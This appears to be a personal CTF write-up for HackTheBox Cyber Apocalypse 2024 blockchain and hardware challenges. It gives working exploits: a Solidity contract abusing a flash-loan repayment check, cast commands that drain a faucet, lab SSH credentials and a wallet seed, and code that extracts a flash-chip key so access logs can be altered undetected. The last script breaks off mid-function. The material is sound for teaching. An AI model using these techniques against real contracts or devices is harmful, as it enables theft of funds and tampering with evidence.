Contents

Cyber Apocalypse 2024: Blockchain & Hardware

https://ctf.hackthebox.com/storage/ctf/banners/DREwio2TXADvSLScO07rux2olm6vjUoEXQPPAKBC.jpg
HackTheBox - Cyber Apocalypse 2024: Hacker Royale

I have been casually participating in the Cyber Apocalypse CTF 2024. During this time, I managed to solve all the challenges in the pwn, crypto, blockchain, and hardware categories. In this write-up, I will share my solutions for all the challenges in the blockchain & hardware category that I solved. If you are interested in reading the write-up for all the pwn challenges, check out this post. If you are interested in reading the write-up for all the crypto challenges, check out this post.

https://i.imgur.com/3Hc0cYH.png
I managed to solve all of the pwn, crypto, blockchain, and hardware challenges by myself :)

Blockchain

Ledger Heist [hard]

Description
Amidst the dystopian chaos, the LoanPool stands as a beacon for the oppressed, allowing the brave to deposit tokens in support of the cause. Your mission, should you choose to accept it, is to exploit the system’s vulnerabilities and siphon tokens from this pool, a daring act of digital subterfuge aimed at weakening the regime’s economic stronghold. Success means redistributing wealth back to the people, a crucial step towards undermining the oppressors’ grip on power.

Initial Analysis

In this challenge, we received a zip file containing some smart contracts. As usual, let’s begin by examining the Setup.sol.

Setup.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {LoanPool} from "./LoanPool.sol";
import {Token} from "./Token.sol";

contract Setup {
    LoanPool public immutable TARGET;
    Token public immutable TOKEN;

    constructor(address _user) {
        TOKEN = new Token(_user);
        TARGET = new LoanPool(address(TOKEN));

        TOKEN.approve(address(TARGET), type(uint256).max);
        TARGET.deposit(10 ether);
    }

    function isSolved() public view returns (bool) {
        return (TARGET.totalSupply() == 10 ether && TOKEN.balanceOf(address(TARGET)) < 10 ether);
    }
}

The challenge initially creates a new Token, a new LoanPool, and deposits 10 ether into the LoanPool (TARGET). The objective is to maintain the total supply of the LoanPool at 10 ether, while reducing the TOKEN balance of the LoanPool to less than 10 ether. Let’s first examine the TOKEN.

Token.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Events} from "./Events.sol";

// HTB{7H1nk_r0Und1ng_D1reC710N_7W1Ce}
contract Token is Events {
    string public name = "Token";
    string public symbol = "Tok";
    uint8 public immutable decimals = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(address _user) payable {
        _mint(msg.sender, 10 ether);
        _mint(_user, 1 ether);
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        allowance[msg.sender][spender] = amount;

        emit Approval(msg.sender, spender, amount);

        return true;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;

        emit Transfer(msg.sender, to, amount);

        return true;
    }

    function transferFrom(address from, address to, uint256 amount) public returns (bool) {
        allowance[from][msg.sender] -= amount;

        balanceOf[from] -= amount;
        balanceOf[to] += amount;

        emit Transfer(from, to, amount);

        return true;
    }

    function _mint(address to, uint256 amount) private {
        balanceOf[to] += amount;
        totalSupply += amount;

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) private {
        balanceOf[from] -= amount;
        totalSupply -= amount;

        emit Transfer(from, address(0), amount);
    }
}

It implements a basic token mechanism, where upon construction, the caller is awarded 10 ether and a specified user receives 1 ether. For this challenge, it means Setup.sol receives 10 ether, and the player (us) starts with a 1 ether balance of TOKEN. Now, let’s review the LoanPool contract.

LoanPool.sol

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {FixedMathLib} from "./FixedPointMath.sol";
import "./Errors.sol";
import {IERC20Minimal, IERC3156FlashBorrower} from "./Interfaces.sol";
import {Events} from "./Events.sol";

struct UserRecord {
    uint256 feePerShare;
    uint256 feesAccumulated;
    uint256 balance;
}

contract LoanPool is Events {
    using FixedMathLib for uint256;

    uint256 constant BONE = 10 ** 18;

    address public underlying;
    uint256 public totalSupply;
    uint256 public feePerShare;
    mapping(address => UserRecord) public userRecords;

    constructor(address _underlying) {
        underlying = _underlying;
    }

    function deposit(uint256 amount) external {
        updateFees();
        IERC20Minimal(underlying).transferFrom(msg.sender, address(this), amount);
        _mint(msg.sender, amount);
    }

    function withdraw(uint256 amount) external {
        if (userRecords[msg.sender].balance < amount) {
            revert InsufficientBalance();
        }
        updateFees();
        _burn(msg.sender, amount);
        IERC20Minimal(underlying).transfer(msg.sender, amount);
    }

    function updateFees() public {
        address _msgsender = msg.sender;

        UserRecord storage record = userRecords[_msgsender];
        uint256 fees = record.balance.fixedMulCeil((feePerShare - record.feePerShare), BONE);

        record.feesAccumulated += fees;
        record.feePerShare = feePerShare;

        emit FeesUpdated(underlying, _msgsender, fees);
    }

    function withdrawFees() external returns (uint256) {
        address _msgsender = msg.sender;

        uint256 fees = userRecords[_msgsender].feesAccumulated;
        if (fees == 0) {
            revert NoFees();
        }
        userRecords[_msgsender].feesAccumulated = 0;
        IERC20Minimal(underlying).transfer(_msgsender, fees);

        emit FeesUpdated(underlying, _msgsender, fees);

        return fees;
    }

    function balanceOf(address account) public view returns (uint256) {
        return userRecords[account].balance;
    }

    // Flash loan EIP
    function maxFlashLoan(address token) external view returns (uint256) {
        if (token != underlying) {
            revert NotSupported(token);
        }
        return IERC20Minimal(token).balanceOf(address(this));
    }

    function flashFee(address token, uint256 amount) external view returns (uint256) {
        if (token != underlying) {
            revert NotSupported(token);
        }
        return _computeFee(amount);
    }

    function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data)
        external
        returns (bool)
    {
        if (token != underlying) {
            revert NotSupported(token);
        }

        IERC20Minimal _token = IERC20Minimal(underlying);
        uint256 _balanceBefore = _token.balanceOf(address(this));

        if (amount > _balanceBefore) {
            revert InsufficientBalance();
        }

        uint256 _fee = _computeFee(amount);
        _token.transfer(address(receiver), amount);

        if (
            receiver.onFlashLoan(msg.sender, underlying, amount, _fee, data)
                != keccak256("ERC3156FlashBorrower.onFlashLoan")
        ) {
            revert CallbackFailed();
        }

        uint256 _balanceAfter = _token.balanceOf(address(this));
        if (_balanceAfter < _balanceBefore + _fee) {
            revert LoanNotRepaid();
        }
        // The fee is `fee`, but the user may have sent more.
        uint256 interest = _balanceAfter - _balanceBefore;
        _updateFeePerShare(interest);

        emit FlashLoanSuccessful(address(receiver), msg.sender, token, amount, _fee);
        return true;
    }

    // Private methods
    function _mint(address to, uint256 amount) private {
        totalSupply += amount;
        userRecords[to].balance += amount;

        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) private {
        totalSupply -= amount;
        userRecords[from].balance -= amount;

        emit Transfer(from, address(0), amount);
    }

    function _updateFeePerShare(uint256 interest) private {
        feePerShare += interest.fixedDivFloor(totalSupply, BONE);
    }

    function _computeFee(uint256 amount) private pure returns (uint256) {
        // 0.05% fee
        return amount.fixedMulCeil(5 * BONE / 10_000, BONE);
    }
}

Although the contract is extensive, I’ll focus on the crucial and flawed functions.

Firstly, the deposit function allows users to deposit TOKEN into the LoanPool, which in return mints an equivalent amount of LPToken.

Next, the withdraw function permits users to burn a specified amount of their LPToken to reclaim an equal amount of TOKEN.

Lastly, the flashLoan function enables users to borrow funds within a single transaction, where the borrowed amount, plus a loanFee, must be returned before the transaction completes. Now that we know the main features, let’s try to think how to exploit this.

Solution

The critical oversight lies within the flashLoan function. Let’s break down its operation:

  • It checks the initial balance (_balanceBefore).
  • Calculates the loan fee.
  • Transfers amount of TOKEN to the receiver.
  • Executes receiver.onFlashLoan.
    • The receiver must be a contract with an onFlashLoan function returning keccak256("ERC3156FlashBorrower.onFlashLoan").
  • Checks the balance post-onFlashLoan.
  • Reverts if the new balance is less than _balanceBefore + _fee.

The flaw is in validating the return of borrowed funds, as it only verifies the pool’s balance reaches _balanceBefore + _fee. It fails to account for the method of returning the funds. The contract assumes funds are returned via a direct transfer, overlooking the possibility of using the deposit function.

For instance, if a user executes flashLoan(10 ether), receives the funds, and instead of transferring them back directly, they deposit the 10 ether and separately transfer the loanFee. This process results in:

  • The user acquiring 10 ether of LPToken.
  • The pool’s balance returning to 10 ether.
  • The pool receiving the loanFee through a manual transfer.

This method allows a user to mint 10 ether of LPToken without spending 10 ether of TOKEN, only the loan fee. Subsequently, the user can withdraw 10 ether, causing the pool to burn the LPToken and return an equivalent amount of TOKEN. This action reduces the pool’s TOKEN balance below 10 ether, enabling flag retrieval.

Below is the exploit contract designed to exploit the identified vulnerability. The contract aims to initiate a flashLoan and ingeniously returns the loan via a deposit action, also taking care of transferring the necessary fee as dictated by the pool during its invocation of our exploit contract’s onFlashLoan method. Subsequently, the exploit allows for the withdrawal of the erroneously granted LP Token, capitalizing on the bug. Comments within the code offer further clarification on its workings.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {FixedMathLib} from "./FixedPointMath.sol";
import "./Errors.sol";
import {IERC20Minimal, IERC3156FlashBorrower} from "./Interfaces.sol";
import {Events} from "./Events.sol";
import {LoanPool} from "./LoanPool.sol";
import {Token} from "./Token.sol";
import {Setup} from "./Setup.sol";

contract Exploit {
    LoanPool public immutable TARGET;
    Token public immutable TOKEN;

    constructor(address _setup) {
        Setup setup = Setup(_setup);
        TARGET = setup.TARGET();
        TOKEN = setup.TOKEN();
    }

    function attack() public {
        require(TOKEN.balanceOf(address(this)) == 1 ether, "AAA");

        // Trigger flashLoan, later give back the loaned money via deposit
        TARGET.flashLoan(IERC3156FlashBorrower(address(this)), address(TOKEN), 10 ether, bytes(""));

        // Now, we can easily withdraw and get free money :)
        TARGET.withdraw(10 ether);
    }

    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32) {
        // At this stage, we already have the loaned money
        // Deposit it back to the pool
        TOKEN.approve(address(TARGET), type(uint256).max);
        TARGET.deposit(amount);

        // Transfer the fee
        TOKEN.transfer(address(TARGET), fee);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

To deploy and execute this exploit using Foundry:

  • Initialize a new Foundry project with forge init.
  • Copy all challenge contracts into the src/ directory.
  • Create Exploit.sol inside src/, incorporating the exploit code.
  • Use forge to deploy the exploit contract.
    • Execute forge create ./src/Exploit.sol:Exploit --rpc-url <rpc_url> --private-key <private_key> --constructor-args <setup_address> to deploy.
  • Transfer 1 ether of your TOKEN to the deployed contract.
    • Obtain the TOKEN address with cast call <setup_address> "TOKEN()" -r <rpc_url>.
    • Transfer 1 ether to the exploit contract using cast send <token_address> "transfer(address,uint256)" -r <rpc_url> --private-key <private_key> -- <exploit_address> 1000000000000000000.
  • Trigger the attack function on the deployed contract.
    • Use cast send <exploit_address> "attack()" -r <rpc_url> --private-key <private_key>.

Following these steps should successfully exploit the vulnerability and retrieve the flag.

Flag: HTB{7H1nk_r0Und1ng_D1reC710N_7W1Ce}

Recovery [easy]

Description
We are The Profits. During a hacking battle our infrastructure was compromised as were the private keys to our Bitcoin wallet that we kept. We managed to track the hacker and were able to get some SSH credentials into one of his personal cloud instances, can you try to recover my Bitcoins? Username: satoshi Password: L4mb0Pr0j3ct NOTE: Network is regtest, check connection info in the handler first.

Initial Analysis

We didn’t receive any files directly, but upon launching a Docker instance, we were provided with three pairs of IP addresses and ports. Connecting via netcat to the third pair revealed instructions for our task: we need to access a hacker’s wallet and transfer all the money to a designated address.

1
2
3
4
5
6
7
8
9
nc 94.237.56.255 48197
Hello fella, help us recover our bitcoins before it's too late.
Return our Bitcoins to the following address: bcrt1ql97nl7ph725kpqd4yuztnasa5chnf70y3775wk
CONNECTION INFO:
  - Network: regtest
  - Electrum server to connect to blockchain: 0.0.0.0:50002:t

NOTE: These options might be useful while connecting to the wallet, e.g --regtest --oneserver -s 0.0.0.0:50002:t
Hacker wallet must have 0 balance to earn your flag. We want back them all.

Next, we proceeded by connecting to the first IP and port pair using ssh, with the hacker’s SSH credentials as indicated. This connection allowes us to read the wallet seed, crucial for taking control of the hacker’s wallet.

1
2
3
4
5
6
satoshi@ng-team-51812-blockchainrecoveryca2024-uqfrf-75d8d97989-mrzzp ➜  ~ ls
wallet
satoshi@ng-team-51812-blockchainrecoveryca2024-uqfrf-75d8d97989-mrzzp ➜  ~ ls wallet
electrum-wallet-seed.txt
satoshi@ng-team-51812-blockchainrecoveryca2024-uqfrf-75d8d97989-mrzzp ➜  ~ cat wallet/electrum-wallet-seed.txt
harsh hungry raccoon leg segment habit afford spice kangaroo version woman tuna

Solution

With the wallet seed in hand, our next step was to install electrum. The installation process is straightforward:

  • Download the Electrum package using wget https://download.electrum.org/4.5.3/Electrum-4.5.3.tar.gz
  • Install Electrum with pip install --user Electrum-4.5.3.tar.gz
  • Start Electrum, ensuring it connects to the second IP and port pair we received:
    • electrum --regtest --oneserver -s 94.237.56.255:57370:t

After initiating Electrum, we imported the wallet using the seed we had found earlier.

This granted us access to the hacker’s wallet, from which we could then transfer all the money to the specified address.

Finally, to complete our task, we reconnected to the first IP and port pair using netcat to retrieve the flag.

Flag: HTB{n0t_y0ur_k3ys_n0t_y0ur_c01n5}

Lucky Faucet [easy]

Description
The Fray announced the placement of a faucet along the path for adventurers who can overcome the initial challenges. It’s designed to provide enough resources for all players, with the hope that someone won’t monopolize it, leaving none for others.

Initial Analysis

We were provided with two smart contracts: Setup.sol and LuckyFaucet.sol. Let’s begin with an overview of Setup.sol

Setup.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.7.6;

import {LuckyFaucet} from "./LuckyFaucet.sol";

contract Setup {
    LuckyFaucet public immutable TARGET;

    uint256 constant INITIAL_BALANCE = 500 ether;

    constructor() payable {
        TARGET = new LuckyFaucet{value: INITIAL_BALANCE}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance <= INITIAL_BALANCE - 10 ether;
    }
}

The challenge begins by depositing 500 ether into the LuckyFaucet contract upon its deployment. Our objective is to reduce the balance of LuckyFaucet to 490 ether or less. Now, let’s delve into the LuckyFaucet contract.

LuckyFaucet.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity 0.7.6;

contract LuckyFaucet {
    int64 public upperBound;
    int64 public lowerBound;

    constructor() payable {
        // start with 50M-100M wei Range until player changes it
        upperBound = 100_000_000;
        lowerBound =  50_000_000;
    }

    function setBounds(int64 _newLowerBound, int64 _newUpperBound) public {
        require(_newUpperBound <= 100_000_000, "100M wei is the max upperBound sry");
        require(_newLowerBound <=  50_000_000,  "50M wei is the max lowerBound sry");
        require(_newLowerBound <= _newUpperBound);
        // why? because if you don't need this much, pls lower the upper bound :)
        // we don't have infinite money glitch.
        upperBound = _newUpperBound;
        lowerBound = _newLowerBound;
    }

    function sendRandomETH() public returns (bool, uint64) {
        int256 randomInt = int256(blockhash(block.number - 1)); // "but it's not actually random 🤓"
        // we can safely cast to uint64 since we'll never 
        // have to worry about sending more than 2**64 - 1 wei 
        uint64 amountToSend = uint64(randomInt % (upperBound - lowerBound + 1) + lowerBound); 
        bool sent = msg.sender.send(amountToSend);
        return (sent, amountToSend);
    }
}

Upon examining the contract, we find two functions of interest: setBounds and sendRandomETH. The sendRandomETH function attempts to transfer an amountToSend in ether to the caller, with the amount being determined within the bounds of lowerBound + (upperBound - lowerBound + 1). It’s important to note that 1 ether equals 10**18, making the initial bounds (5*10**7 to 10**8) significantly smaller by comparison. Thus, extracting 10 ether (or 10**19) using the initial bounds would be impractically slow. Based on this, we need to think a solution on how to make this faster.

Solution

However, we observe that both upperBound and lowerBound are signed integers (int64), allowing us to set a large negative value for lowerBound through setBounds.

By assigning a substantially negative value to lowerBound, we can achieve a large amountToSend. Even if the result of randomInt % (upperBound - lowerBound + 1) + lowerBound is negative, it will be cast to uint64, resulting in a substantial amountToSend.

To overcome this challenge, we can simply set the bounds to a significantly negative number and then invoke sendRandomETH. This approach will enable us to drain more than 10 ETH. Here’s the solution utilizing foundry cast:

1
2
3
cast send <target_address> "setBounds(int64,int64)" -r <rpc_url> --private-key <private_key> -- -1000000000000000000 100000000

cast send <target_address> "sendRandomETH()" -r <rpc_url> --private-key <private_key>

Flag: HTB{1_f0rg0r_s0m3_U}

Russian Roulette [very easy]

Description
Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?

Initial Analysis

We were given two smart contracts: Setup.sol and RussianRoulette.sol. Let’s start by examining the Setup.sol.

Setup.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Upon inspecting the code, we find that the initial setup involves depositing 10 ether into the RussianRoulette contract. Our objective is to reduce the balance of the RussianRoulette contract (referred to as TARGET) to 0. Now, let’s turn our attention to RussianRoulette.sol.

RussianRoulette.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {
            selfdestruct(payable(msg.sender)); // 💀
        } else {
		return "im SAFU ... for now";
	    }
    }
}

This contract features a single function named pullTrigger(). If (uint256(blockhash(block.number - 1)) % 10 == 7) evaluates to true, the contract executes selfdestruct. This action transfers the contract’s remaining balance to a specified address, in this case, the caller of pullTrigger.

Each new transaction invoking pullTrigger can produce new block.number, implying that eventually, the condition within the if statement will be met, triggering the action.

Solution

Based on this analysis, we can repeatedly call pullTrigger() until the selfdestruct is activated. Here’s an example command for invoking pullTrigger() using foundry cast:

1
cast send <target_address> "pullTrigger()" -r <rpc_url> --private-key <private_key>

Flag: HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}

Hardware

Flash-ing Logs [hard]

Description
After deactivating the lasers, you approach the door to the server room. It seems there’s a secondary flash memory inside, storing the log data of every entry. As the system is air-gapped, you must modify the logs directly on the chip to avoid detection. Be careful to alter only the user_id = 0x5244 so the registered logs point out to a different user. The rest of the logs stored in the memory must remain as is.

Initial Analysis

In this challenge, we were provided with client.py to interact with flash memory, alongside a C file named log_event.c.

log_event.c

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
#include <stdio.h>
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include <wiringPiSPI.h>
#include "W25Q128.h" // Our custom chip is compatible with the original W25Q128XX design

#define SPI_CHANNEL 0 // /dev/spidev0.0
//#define SPI_CHANNEL 1 // /dev/spidev0.1

#define CRC_SIZE 4 // Size of the CRC data in bytes
#define KEY_SIZE 12 // Size of the key



// SmartLockEvent structure definition
typedef struct {
    uint32_t timestamp;   // Timestamp of the event
    uint8_t eventType;    // Numeric code for type of event // 0 to 255 (0xFF)
    uint16_t userId;      // Numeric user identifier // 0 t0 65535 (0xFFFF)
    uint8_t method;       // Numeric code for unlock method
    uint8_t status;       // Numeric code for status (success, failure)
} SmartLockEvent;


// Function Prototypes
int log_event(const SmartLockEvent event, uint32_t sector, uint32_t address);
uint32_t calculateCRC32(const uint8_t *data, size_t length);
void write_to_flash(uint32_t sector, uint32_t address, uint8_t *data, size_t length);

// CRC-32 calculation function
uint32_t calculateCRC32(const uint8_t *data, size_t length) {
    uint32_t crc = 0xFFFFFFFF;
    for (size_t i = 0; i < length; ++i) {
        crc ^= data[i];
        for (uint8_t j = 0; j < 8; ++j) {
            if (crc & 1)
                crc = (crc >> 1) ^ 0xEDB88320;
            else
                crc >>= 1;
        }
    }
    return ~crc;
}


bool verify_flashMemory() {
    uint8_t jedc[3]; 
    uint8_t uid[8];     
    uint8_t buf[256];     
    uint8_t wdata[26];    
    uint8_t i;
  
    uint16_t n;    

    bool jedecid_match = true; // Assume true, prove false
    bool uid_match = true; // Assume true, prove false
          

    // JEDEC ID to verify against 
    uint8_t expectedJedec[3] = {0xEF, 0x40, 0x18};

    // UID to verify against 
    uint8_t expectedUID[8] = {0xd2, 0x66, 0xb4, 0x21, 0x83, 0x1f, 0x09, 0x2b};


    // SPI channel 0 at 2MHz.
    // Start SPI channel 0 with 2MHz
    if (wiringPiSPISetup(SPI_CHANNEL, 2000000) < 0) {
      printf("SPISetup failed:\n");
    }
    

    // Start Flash Memory
    W25Q128_begin(SPI_CHANNEL);
    
    // JEDEC ID Get
    //W25Q128_readManufacturer(buf);
    W25Q128_readManufacturer(jedc);
    printf("JEDEC ID : ");
    for (i=0; i< 3; i++) {
      printf("%x ",jedc[i]);
    }
    
    // Iterate over the array and compare elements
    for (int i = 0; i < sizeof(jedc)/sizeof(jedc[0]); ++i) {
        if (jedc[i] != expectedJedec[i]) {
            jedecid_match = false; // Set match to false if any element doesn't match
            break; // No need to check further if a mismatch is found
        }
    }

    if (jedecid_match) {
        printf("JEDEC ID verified successfully.\n");
    } else {
        printf("JEDEC ID does not match.\n");
        return 0;
    }

    // Unique ID
    // Unique ID Get
    W25Q128_readUniqieID(uid);
    printf("Unique ID : ");
    for (i=0; i< 8; i++) {
      printf("%x ",uid[i]);
    }
    printf("\n");
  
    // Iterate over the array and compare elements
    for (int i = 0; i < sizeof(uid)/sizeof(uid[0]); ++i) {
        if (uid[i] != expectedUID[i]) {
            uid_match = false; // Set match to false if any element doesn't match
            break; // No need to check further if a mismatch is found
        }
    }

    if (uid_match) {
        printf("UID verified successfully.\n");
    } else {
        printf("UID does not match.\n");
        return 0;
    }

    return 1;
}
// Implementations
int log_event(const SmartLockEvent event, uint32_t sector, uint32_t address) {

    bool memory_verified = false;
    uint8_t i;
    uint16_t n;  
    uint8_t buf[256];   


    memory_verified = verify_flashMemory();
    if (!memory_verified) return 0;

     // Start Flash Memory
    W25Q128_begin(SPI_CHANNEL);
    

    // Erase data by Sector
    if (address == 0){
        printf("ERASE SECTOR!");
        n = W25Q128_eraseSector(0, true);
        printf("Erase Sector(0): n=%d\n",n);
        memset(buf,0,256);
        n =  W25Q128_read (0, buf, 256);
       
    }

    uint8_t buffer[sizeof(SmartLockEvent) + sizeof(uint32_t)]; // Buffer for event and CRC
    uint32_t crc;

    memset(buffer, 0, sizeof(SmartLockEvent) + sizeof(uint32_t));

    // Serialize the event
    memcpy(buffer, &event, sizeof(SmartLockEvent));

    // Calculate CRC for the serialized event
    crc = calculateCRC32(buffer, sizeof(SmartLockEvent));

    // Append CRC to the buffer
    memcpy(buffer + sizeof(SmartLockEvent), &crc, sizeof(crc));


    // Print the SmartLockEvent for debugging
    printf("SmartLockEvent:\n");
    printf("Timestamp: %u\n", event.timestamp);
    printf("EventType: %u\n", event.eventType);
    printf("UserId: %u\n", event.userId);
    printf("Method: %u\n", event.method);
    printf("Status: %u\n", event.status);

    // Print the serialized buffer (including CRC) for debugging
    printf("Serialized Buffer (including CRC):");
    for (size_t i = 0; i < sizeof(buffer); ++i) {
        if (i % 16 == 0) printf("\n"); // New line for readability every 16 bytes
        printf("%02X ", buffer[i]);
    }
    printf("\n");


    // Write the buffer to flash
    write_to_flash(sector, address, buffer, sizeof(buffer));


    // Read 256 byte data from Address=0
    memset(buf,0,256);
    n =  W25Q128_read(0, buf, 256);
    printf("Read Data: n=%d\n",n);
    dump(buf,256);

    return 1;
}


// encrypts log events 
void encrypt_data(uint8_t *data, size_t data_length, uint8_t register_number, uint32_t address) {
    uint8_t key[KEY_SIZE];

    read_security_register(register_number, 0x52, key); // register, address
    
    printf("Data before encryption (including CRC):\n");
    for(size_t i = 0; i < data_length; ++i) {
        printf("%02X ", data[i]);
    }
    printf("\n");

    // Print the CRC32 checksum before encryption (assuming the original data includes CRC)
    uint32_t crc_before_encryption = calculateCRC32(data, data_length - CRC_SIZE);
    printf("CRC32 before encryption: 0x%08X\n", crc_before_encryption);

    // Apply encryption to data, excluding CRC, using the key
    for (size_t i = 0; i < data_length - CRC_SIZE; ++i) { // Exclude CRC data from encryption
        data[i] ^= key[i % KEY_SIZE]; // Cycle through  key bytes
    }

    printf("Data after encryption (including CRC):\n");
    for(size_t i = 0; i < data_length; ++i) {
        printf("%02X ", data[i]);
    }
    printf("\n");


}

void write_to_flash(uint32_t sector, uint32_t address, uint8_t *data, size_t length) {
    printf("Writing to flash at sector %u, address %u\n", sector, address);
    
    uint8_t i;
    uint16_t n;  

    encrypt_data(data, length, 1, address); 

    n =  W25Q128_pageWrite(sector, address, data, 16);
    printf("page_write(0,10,d,26): n=%d\n",n);

}

Reading the log_event.c gave us insight into how it works:

  • This C code is used to log the SmartLockEvent.
  • The log is written starting from the address 0 of the flash memory.
  • Each log consist of 16 bytes, where:
    • 12 bytes is the encrypted data of SmartLockEvent.
      • The encryption is very simple:
        • Take the key from the security_register number 1 with address 0x52.
        • Xor the data with the key.
    • 4 bytes is the CRC32 of the original data of SmartLockEvent.

Our goal was to modify certain SmartLockEvent logs, specifically those with user_id = 0x5244, to point to a different user.

Solution

I revisited the flash memory documentation, using the same resource as before. To simplify the process, I extended client.py with an EventLog class for easier log parsing.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# SOLVER
from pwn import p32, u32, p16, u16, p8, u8
from zlib import crc32
from datetime import datetime

class EventLog:
    timestamp = 0
    event_type = 0
    user_id = 0
    method = 0
    status = 0
    def __init__(self, timestamp, event_type, user_id, method, status):
        self.timestamp = timestamp
        self.event_type = event_type
        self.user_id = user_id
        self.method = method
        self.status = status
    def out(self):
        print(f'''
        timestamp : {self.timestamp} ({datetime.fromtimestamp(self.timestamp)})
        event_type: {self.event_type}
        user_id   : {hex(self.user_id)}
        method    : {self.method}
        status    : {self.status}
        ''')
    def serialize(self):
        return p32(self.timestamp) + p16(self.event_type) + p16(self.user_id) + p8(self.method) + p8(self.status) + p16(0)

Reading through the documentaion, I identified a useful command, Read Security Registers (Section 8.2.33, instruction code 0x48), which can be used to obtain the encryption key. Here’s a snippet for fetching the key:

1
2
3
4
CMD_READ_SEC_REG = 0x48
# Do read_security_register(1, 0x52, KEY_SIZE)
key = exchange([CMD_READ_SEC_REG, 0x00, 0x01 << 4, 0x52], 12)
print(f'key = {bytes(key)}')

Armed with the key, decrypting the event logs was straightforward. The script below was used to parse the event logs stored in the flash memory:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
CMD_READ = 0x3
KEY_SIZE = 12
# Helper
# read_data format: addr is array of 3 bytes, size is int
def read_data(addr, size):
    return bytes(exchange([CMD_READ]+addr, size))

# Define decrypt and encrypt functions
def decrypt(data):
    dec_data = []
    for i in range(len(data)):
        dec_data.append(data[i]^key[i%KEY_SIZE])
    return bytes(dec_data)

def encrypt(data):
    enc_data = []
    for i in range(len(data)):
        enc_data.append(data[i]^key[i%KEY_SIZE])
    return bytes(enc_data)

# Convert raw_event_log to EventLog class
def parse_log(event_log):
    timestamp = u32(event_log[:4])
    event_type = u16(event_log[4:6])
    user_id = u16(event_log[6:8])
    method = u8(event_log[8:9])
    status = u8(event_log[9:10])
